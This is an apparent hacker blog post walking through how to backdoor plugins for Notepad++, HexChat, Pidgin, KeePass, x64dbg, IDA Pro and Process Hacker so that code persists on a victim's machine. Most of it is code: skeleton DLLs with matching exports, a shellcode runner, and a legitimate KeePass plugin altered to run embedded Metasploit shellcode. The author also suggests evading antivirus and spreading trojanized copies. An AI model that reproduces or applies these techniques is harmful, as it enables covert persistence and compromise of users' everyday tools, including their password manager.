Backdooring Plugins

I had this thought speaking with fellow hacker friendos at 2600. Alternative ways to persist. Why not backdoor some popular programs? Sure why not?

Today let’s scope in on backdooring some plugins for popular software. I will be covering a bunch of other programs, mainly stuff already on my computer.

First plugin to backdoor will be for Notepad++
I’ve decided to backdoor ‘mimeTools.dll’ because reasons. I don’t know, it was there and looked nice.

Since I’m hardcore, I will be backdooring this DLL with straight assembly. Sure I could just download a plugin template or something and compile, but where’s the fun in that? If you’re going to add code to an exe, it would be a good idea to have a place to put it. Our shellcode for a backdoor is about 251 bytes.

This means we need a cave of 251 bytes or greater or we need to add a new section to the DLL. I’m going with the latter. You could try and modify the flags on an existing section, but that shit never works. Easier to just add a new section. Recall from previous postings, we add a section via the use of ‘Cff Explorer’. All I’m doing here is adding a new section with and filling it with a file. I used a jpeg or something. After that we rebuild the PE header and save. Oh and don’t forget to set the section flags for ‘executable’ and ‘contains code’ otherwise when we jump it wont run. I chose an appropriate name too.

Opening the dll in IDA reveals our new code section is there and at what address. We’ll need this address when we open the dll in our debugger so that we can perform our long jump and paste / save our backdoor shellcode assembly. Again, I’ve covered this before I think so if you’re lost, follow that guide.

Now all that’s left to do is drag and drop the modified dll into the plugins folder for notepad++ and run the thing. Low and behold!

Notepad++ runs after you click ‘ok’ but imagine that being code to call home or something.
If editing raw dll’s aint your thing, then maybe consider just writing a skeleton dll file and making sure it’s up to code for notepad++?

They aren’t particularly picky, just need to export some entries ‘IsUnicode’,’setInfo’,’getName’,’getFuncsArray’,’beNotified’, and ‘messageProc’. Without those entries, notepad++ just complains and won’t run your code:

Yay, the first one is done. We have more stuff to hack though! What else can I hack? I run Hexchat for my IRC (real hackers use IRC bro).

First, a cursory look at a sample plugin in hexchat is quite revealing.

Only a few exported entries. Following the documentation reveals that if we just copy those exports, we should be good. Its like I didn’t even need to look.

This time we’re going to just use a skeleton dll file. By mimicking the export entries of another plugin, we can force our code to be run. Here is a simple skeleton dll in C:

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		{
			MessageBoxW(NULL,L"kek",L"wek",MB_OK);
			break;
		}
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) void hexchat_plugin_init(void)
{
	MessageBoxW(NULL,L"Herro Mr hexchat 1",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void hexchat_plugin_deinit(void)
{
	MessageBoxW(NULL,L"Herro Mr hexchat 2",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void hexchat_plugin_get_info(void)
{
	MessageBoxW(NULL,L"Herro Mr hexchat 3",L"joe",MB_OK);
    return;
}

Why C? because it’s easy as hell to throw our shellcode inside, duhh.

For those who forget, it’s like 3 lines of code to run shellcode in C.

#include <stdio.h>
#include <windows.h>
int main(void)
{
    char shellcode[] = "\x90\x90\x90";
    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
    return 0;
}

Anyways, I compile the thing as a 64 bit dll and drag + drop the thing into my plugins folder (conveniently in the user profile folder, sans protections). It looks as though the contents of dllmain’s DLL_PROCESS_ATTACH area is hit first.

Next it launched the plugin init. Please visit me on IRC some time.

Great! Now let’s move on shall we? I use Pidgin instant messenger still. We can totally backdoor that!
Step 1: look at exported dll entries:

Step 2: Throw entries into skeleton dll. Mind the TLS callbacks. I’ll cover those in another blog post maybe. Nifty stuff.

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		{
			MessageBoxW(NULL,L"kek",L"wek",MB_OK);
			break;
		}
	case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) int purple_init_plugin(char *filler, int filler2)
{
	MessageBoxW(NULL,L"Herro Mr Pidgin",L"joe",MB_OK);
    return 1;
}

Step 3: Place in user profile folder and wait for load. Again, the code within DLL_PROCESS_ATTACH is run. The plugin initialization seems to only be a formality.

Step 4: ????????????
Step 5: Profit!

How about something scary? Let’s backdoor Keepass! It’s slightly different than what I’m presently doing because Keepass is .NET instead of the normal native assembly code I’ve been coding. No matter. C# is ez. Recall I’ve covered this before. Since I’m compiling the thing from source, I don’t need to re-invent the wheel. Anywho, I’ve decided to “borrow” someone else’s project. That way i can just add my evil code and compile. This one is called ‘QualityColumn’. Any old plugin would have sufficed.

Now for the code:

/*
  KeePass QualityColumn Plugin
  Copyright (C) 2010-2014 Dominik Reichl <dominik.reichl@t-online.de>

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.

  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program; if not, write to the Free Software
  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using KeePass.Forms;
using KeePass.Plugins;
using KeePass.UI;
using KeePass.Util.Spr;
using KeePassLib;
using KeePassLib.Cryptography;
using KeePassLib.Utility;

namespace QualityColumn
{
	public sealed class QualityColumnExt : Plugin
	{
		[Flags]
        public enum AllocationType
        {
            Commit = 4096,
            Reserve = 8192,
            Decommit = 16384,
            Release = 32768,
            Reset = 524288,
            Physical = 4194304,
            TopDown = 1048576,
            WriteWatch = 2097152,
            LargePages = 536870912
        }
		[Flags]
        public enum AllocationProtect : uint
        {
            PAGE_NOACCESS = 1u,
            PAGE_READONLY,
            PAGE_READWRITE = 4u,
            PAGE_WRITECOPY = 8u,
            PAGE_EXECUTE = 16u,
            PAGE_EXECUTE_READ = 32u,
            PAGE_EXECUTE_READWRITE = 64u,
            PAGE_EXECUTE_WRITECOPY = 128u,
            PAGE_GUARD = 256u,
            PAGE_NOCACHE = 512u,
            PAGE_WRITECOMBINE = 1024u
        }

/*
 * windows/x64/exec - 275 bytes
 * http://www.metasploit.com
 * VERBOSE=false, PrependMigrate=false, EXITFUNC=none,
 * CMD=cmd.exe
 */
byte[] buf = new byte[275] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
0x2e,0x65,0x78,0x65,0x00 };

        [DllImport("Kernel32.dll")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param,
           UInt32 dwCreationFlags, ref UInt32 lpThreadId);

        [DllImport("Kernel32.dll")]
        private static extern IntPtr OpenProcess(uint lol, int int_0, int int_1);

        [DllImport("Kernel32.dll", ExactSpelling = true, SetLastError = true)]
        private static extern IntPtr VirtualAllocEx(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0);

        [DllImport("Kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
          byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);
		  
		private static IPluginHost m_host = null;
		private QualityColumnProvider m_prov = null;

		internal static IPluginHost Host
		{
			get { return m_host; }
		}

		public override bool Initialize(IPluginHost host)
		{
			Terminate();
			m_host = host;
			if(m_host == null) { Debug.Assert(false); return false; }

			m_prov = new QualityColumnProvider();
			m_host.ColumnProviderPool.Add(m_prov);

			m_host.MainWindow.FileClosed += this.OnFileClosed;

			return true;
		}

		public override void Terminate()
		{
			System.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess();
            int pid = olo.Id;
            IntPtr hProcess = OpenProcess(0x001F0FFF, 0, pid);
            if (hProcess == IntPtr.Zero)
            {
                throw new Exception("error!");
            }
            IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length,
            AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE);
            int zero = 0;
            IntPtr kek = IntPtr.Zero;
            WriteProcessMemory(hProcess, intPtr, buf, buf.Length, ref zero);
            UInt32 tid = 0;
            CreateThread(0, 0, intPtr, kek, 0, ref tid);
			
			if(m_host == null) return;

			m_host.MainWindow.FileClosed -= this.OnFileClosed;

			m_host.ColumnProviderPool.Remove(m_prov);
			m_prov = null;

			m_host = null;
		}

		private void OnFileClosed(object sender, FileClosedEventArgs e)
		{
			QualityColumnProvider.ClearCache();
		}
	}

	public sealed class QualityColumnProvider : ColumnProvider
	{
		private const string QcpName = "Password Quality";
		private const string QcpBitsSuffix = " bits";

		private static object m_oCacheSync = new object();
		private static Dictionary<string, uint> m_dCache =
			new Dictionary<string, uint>();

		private string[] m_vColNames = new string[] { QcpName };
		public override string[] ColumnNames
		{
			get { return m_vColNames; }
		}

		public override HorizontalAlignment TextAlign
		{
			get { return HorizontalAlignment.Right; }
		}

		internal static void ClearCache()
		{
			lock(m_oCacheSync)
			{
				m_dCache.Clear();
			}
		}

		public override string GetCellData(string strColumnName, PwEntry pe)
		{
			if(strColumnName == null) { Debug.Assert(false); return string.Empty; }
			if(strColumnName != QcpName) return string.Empty;
			if(pe == null) { Debug.Assert(false); return string.Empty; }

			string strPw = pe.Strings.ReadSafe(PwDefs.PasswordField);

			if(strPw.IndexOf('{') >= 0)
			{
				IPluginHost host = QualityColumnExt.Host;
				if(host == null) { Debug.Assert(false); return string.Empty; }

				PwDatabase pd = null;
				try
				{
					pd = host.MainWindow.DocumentManager.SafeFindContainerOf(pe);
				}
				catch(Exception) { Debug.Assert(false); }

				SprContext ctx = new SprContext(pe, pd, (SprCompileFlags.Deref |
					SprCompileFlags.TextTransforms), false, false);
				strPw = SprEngine.Compile(strPw, ctx);
			}

			uint uEst;
			lock(m_oCacheSync)
			{
				if(!m_dCache.TryGetValue(strPw, out uEst)) uEst = uint.MaxValue;
			}

			if(uEst == uint.MaxValue)
			{
				uEst = QualityEstimation.EstimatePasswordBits(strPw.ToCharArray());

				lock(m_oCacheSync)
				{
					m_dCache[strPw] = uEst;
				}
			}

			return (uEst.ToString() + QcpBitsSuffix);
		}
	}
}

We have options here on how we compile our code. Keepass will take either a class library (.NET dll file), or its own special propriatary format called ‘plgx’. The beauty of this is that we can better hide ourselves from the AV. Thanks Keepass!

For reasons beyond my comprehension, 32 bit shellcode does not work in .NET on my machine. Why? Who fuckin knows?
The solution is to use 64 bit shellcode despite the program being 32 bit. Whatever.

Now, to compile our code, we basically just run KeePass.exe –plgx-create at the command line. This opens a dialog box for browsing to the folder containing your C# project files.

Just place your plgx file into your keepass folder (doesn’t even have to be the plugins folder lol) and your plugin will run its code along side keepass. Viola!

Noice! We’re really sticking it to the man now! I might as well backdoor my debugger while I’m at it. X64dbg is my go-to debugger. If you’re still using olly or immunity, get with the times!

First we load the thing in CFF Explorer (no ida this time)

3 exports for our skeleton dll program:

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		{
			MessageBoxW(NULL,L"hello x64dbg, i am a backdoor.",L"wek",MB_OK);
			break;
		}
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) void pluginit(void)
{
	MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void plugsetup(void)
{
	MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void plugstop(void)
{
	MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
    return;
}

For x64dbg to load our plugin, we need only rename our dll file to end in ‘.dp64’ and load it into the plugins folder.

Now we just load our debugger and voila!

Imagine a piece of malware that detects x64dbg is running and then unpacks itself and copies a piece of itself to the plugins folder and then crashes the debugger? Then the next time its run, BAM, owned. So many ideas!

I’ve saved the best for last. Let’s backdoor IDA Pro.

I’ve chosen the plugin ‘COM Helper’ because it seems to be automatically loaded with IDA.

Here we see them in the plugins folder.

Opening one of them up in IDA (ironic no?) reveals how there’s only 1 exported entry, ‘PLUGIN’ in all caps. This makes a skeleton program easy.

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		{
			MessageBoxW(NULL,L"Hi mr IDA",L"YO",MB_OK);
			break;
		}
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) void PLUGIN(void)
{
	MessageBoxW(NULL,L"Hello IDA. I am a backdoor!",L"joe",MB_OK);
    return;
}

We compile our dll, name it ‘comhelper.dll’ and ‘comhelper64.dll’ (want to ensure its run on both versions of IDA), drop in in and viola! Loads via DLL_PROCESS_ATTACH like always.

Maybe some evil hacker will now steal my idea and start distributing torrents of IDA with backdoored plugins? Nah, no one would do that!

VLC, Foobar, DropBox, Ifranview, mumble, Cheat Engine, and so much more can still be backdoored on my machine, but who has time for that shit? If you want to maintain persistence on a machine, try backdooring a plugin on something the user uses daily. Be sneaky.

In conclusion, we need only add our code to the main dll entry point and our code is run. In fact, it seems that way for most plugins. Sure a few have some prerequisites like certain exported function names and such, but by and large, it seems like you can run code from the ‘DLL_PROCESS_ATTACH’ portion of DllMain. I’ve seen it everywhere lately. Ever used Process Hacker?


If I drop any old 64 bit dll into the ‘plugins’ folder of Process Hacker, it seems to run my code without being ‘enabled’ or whatever. Here’s the same 64 bit dll from our IDA pro backdoor thingy:

Failing that, all you have have to do it seems is copy the exported function names (its always names, never ordinals) to meet that of the other plugins. The rest falls into place. I feel like you could automate this process with a virus or something.

All source and project files are available here. Password is infected.

Thank you for sitting through my blog post. I have much to do still. For example, I have to write a 64 bit variant of my metasploit module, I have to re-write my crypter because its being detected as ‘wannacry’, and I want to dive into the subject of IOT devices and webcams. Oh and that TLS callbacks tidbit. We’ll see what I tackle first.

Until then, happy hacking!

Leave a Reply

Your email address will not be published. Required fields are marked *